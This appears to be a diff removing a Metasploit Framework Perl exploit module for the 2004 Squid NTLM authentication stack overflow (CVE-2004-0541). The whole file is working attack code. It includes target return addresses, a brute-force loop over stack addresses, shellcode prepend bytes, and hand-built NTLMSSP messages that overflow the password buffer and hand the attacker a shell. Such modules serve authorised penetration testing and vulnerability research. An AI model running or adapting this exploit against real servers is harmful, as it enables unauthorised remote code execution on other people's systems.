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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::squid_ntlm_authenticate;
-
- use strict;
- use base "Msf::Exploit";
- use Pex::Text;
-
- my $advanced =
- {
- 'StackBottom' => [ '0xbfffcfbc', 'Start address for stack ret.' ],
- 'StackTop' => [ '0xbffffffc', 'Stop address for stack ret.' ],
- 'StackStep' => [ 0, 'Number of bytes to increment between steps.'],
- 'BruteWait' => [ 15, "Length of time to wait between brutes. " .
- "15 is recommend as squid has a failure " .
- "count tracker to exit on many segvs" ],
- };
-
- my $info =
- {
- 'Name' => 'Squid NTLM Authenticate Overflow',
- 'Version' => '$Revision: 1.19 $',
- 'Authors' =>
- [
- 'skape <mmiller [at] hick.org>'
- ],
-
- 'Description' =>
- Pex::Text::Freeform(qq{
- This is an exploit for Squid's NTLM authenticate overflow (libntlmssp.c).
- Due to improper bounds checking in ntlm_check_auth, it is possible to
- overflow the 'pass' variable on the stack with user controlled data of
- a user defined length. Props to iDEFENSE for the advisory.
- }),
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'linux' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [ 1, 'ADDR', 'The target proxy server address' ],
- 'RPORT' => [ 1, 'PORT', 'The target proxy server port' ],
- },
-
- 'Payload' =>
- {
- 'Space' => 300 - 44, # can be more, but requires code mod
- 'MinNops' => 16,
- 'PrependEncoder' => "\x83\xec\x7f", # sub $0x7f, %esp
- 'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e" . # signal(SIGALRM, SIG_IGN)
- "\xb0\x30\x41\xcd\x80",
- },
-
- 'Refs' =>
- [
- ['OSVDB', '6791'],
- ['URL', 'http://www.idefense.com/application/poi/display?id=107'],
- ['CVE', '2004-0541'],
- ['MIL', '67'],
- ],
-
- 'Targets' =>
- [
- [ 'Bruteforce', 0x0, 0x0 ],
- [ 'Squid 2.5 STABLE5 and below (Debian/Linux)', 0xbfffd48c, 0xbfffd468 ],
- ],
-
- 'Keys' => ['squid'],
-
- 'DisclosureDate' => 'Jun 8 2004',
- };
-
- sub new
- {
- my $class = shift;
- my $self;
-
- $self = $class->SUPER::new(
- {
- 'Info' => $info,
- 'Advanced' => $advanced,
- },
- @_);
-
- return $self;
- }
-
- sub Exploit
- {
- my $self = shift;
- my $targetIdx = $self->GetVar('TARGET');
- my $payload = $self->GetVar('EncodedPayload');
- my $shellcode = $payload->Payload;
- my $target = $self->Targets->[$targetIdx];
- my $ret = $target->[1];
- my $valid = $target->[2];
- my $s = undef;
-
- $self->PrintLine('[*] Trying exploit target ' . $target->[0]);
-
- if ($target->[0] eq 'Bruteforce')
- {
- my $stackTop = hex($self->GetLocal('StackTop'));
- my $stackBottom = hex($self->GetLocal('StackBottom'));
- my $stackStep = $self->GetLocal('StackStep');
- my $wait = $self->GetLocal('BruteWait');
-
- $stackStep = $payload->NopsLength if ($stackStep == 0);
-
- for ($ret = $stackBottom, $valid = $stackBottom - 0x20;
- $ret < $stackTop;
- $ret += $stackStep, $valid += $stackStep)
- {
- $self->PrintLine(sprintf("[*] Trying %.8x...", $ret));
-
- last if (defined($s = $self->transmitExploit(target => $target,
- shellcode => $shellcode, ret => $ret, valid => $valid)));
-
- sleep($wait);
- }
- }
- else
- {
- $s = $self->transmitExploit(target => $target,
- shellcode => $shellcode, ret => $ret, valid => $valid);
- }
-
- $self->Handler($s) if (defined($s));
- }
-
- sub transmitExploit
- {
- my $self = shift;
- my ($target, $shellcode, $ret, $valid) = @{{@_}}{qw/target shellcode ret valid/};
- my $targetHost = $self->GetVar('RHOST');
- my $targetPort = $self->GetVar('RPORT');
- my $bof = "A" x 0x20 . pack("V", $ret) . pack("V", $valid) . "\xff\x00\x00\x00";
- my $passLen = pack("v", length($bof) + length($shellcode));
-
- my $negotiate =
- "NTLMSSP\x00" . # NTLMSSP identifier
- "\x01\x00\x00\x00" . # NTLMSSP_NEGOTIATE
- "\x07\x00\xb2\x07" . # flags
- "\x01\x00\x09\x00" . # workgroup len/max (1)
- "\x01\x00\x00\x00" . # workgroup offset (1)
- "\x01\x00\x03\x00" . # workstation len/max (1)
- "\x01\x00\x00\x00" ; # workstation offset (1)
- my $authenticate =
- "NTLMSSP\x00" . # NTLMSSP identifier
- "\x03\x00\x00\x00" . # NTLMSSP_AUTHENTICATE
- $passLen . $passLen . # lanman response len/max
- "\x38\x00\x00\x00" . # lanman response offset (56)
- "\x01\x00\x01\x00" . # nt response len/max (1)
- "\x01\x00\x00\x00" . # nt response offset (1)
- "\x01\x00\x01\x00" . # domain name len/max (1)
- "\x01\x00\x00\x00" . # domain name offset (1)
- "\x01\x00\x01\x00" . # user name (1)
- "\x01\x00\x00\x00" . # user name offset (1)
- "\x00\x00\x00\x00" . # session key
- "\x8b\x00\x00\x00" . # session key
- "\x06\x82\x00\x02" . # flags
- $bof . $shellcode;
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $targetHost,
- 'PeerPort' => $targetPort,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('Error creating socket: '.$s->GetError);
- return;
- }
-
- $self->PrintLine('[*] Sending NTLMSSP_NEGOTIATE (' . length($negotiate) . ' bytes)');
-
- # Transmit NTLMSSP negotiate
- if (not defined($self->transmitHttpRequest(
- s => $s,
- buffer => $negotiate)))
- {
- $self->PrintLine('[-] Server did not send a response -- exploit failed.');
- return undef;
- }
-
- $self->PrintLine('[*] Sending NTLMSSP_AUTHENTICATE (' . length($authenticate) . ' bytes)');
-
- # Transmit NTLMSSP authenticate
- if (defined($self->transmitHttpRequest(
- s => $s,
- buffer => $authenticate)))
- {
- return undef;
- }
-
- return $s;
- }
-
- sub transmitHttpRequest
- {
- my $self = shift;
- my ($s, $buffer) = @{{@_}}{qw/s buffer/};
- my $encoded = Pex::Text::Base64Encode($buffer);
- my $response;
-
- $encoded =~ s/\n//gm;
-
- $s->Send("GET http://www.metasplizoit.com HTTP/1.0\r\n");
- $s->Send("Proxy-Connection: Keep-Alive\r\n");
- $s->Send("Proxy-Authorization: NTLM $encoded\r\n");
- $s->Send("\r\n");
-
- # Read a response, wait 5 seconds...
- while (defined($response = $s->Recv(-1, 5)))
- {
- last if ($response =~ "\r\n\r\n" or length($response) == 0);
- }
-
- $response = '' if ($s->GetError());
-
- return $response;
- }
-
- 1;
-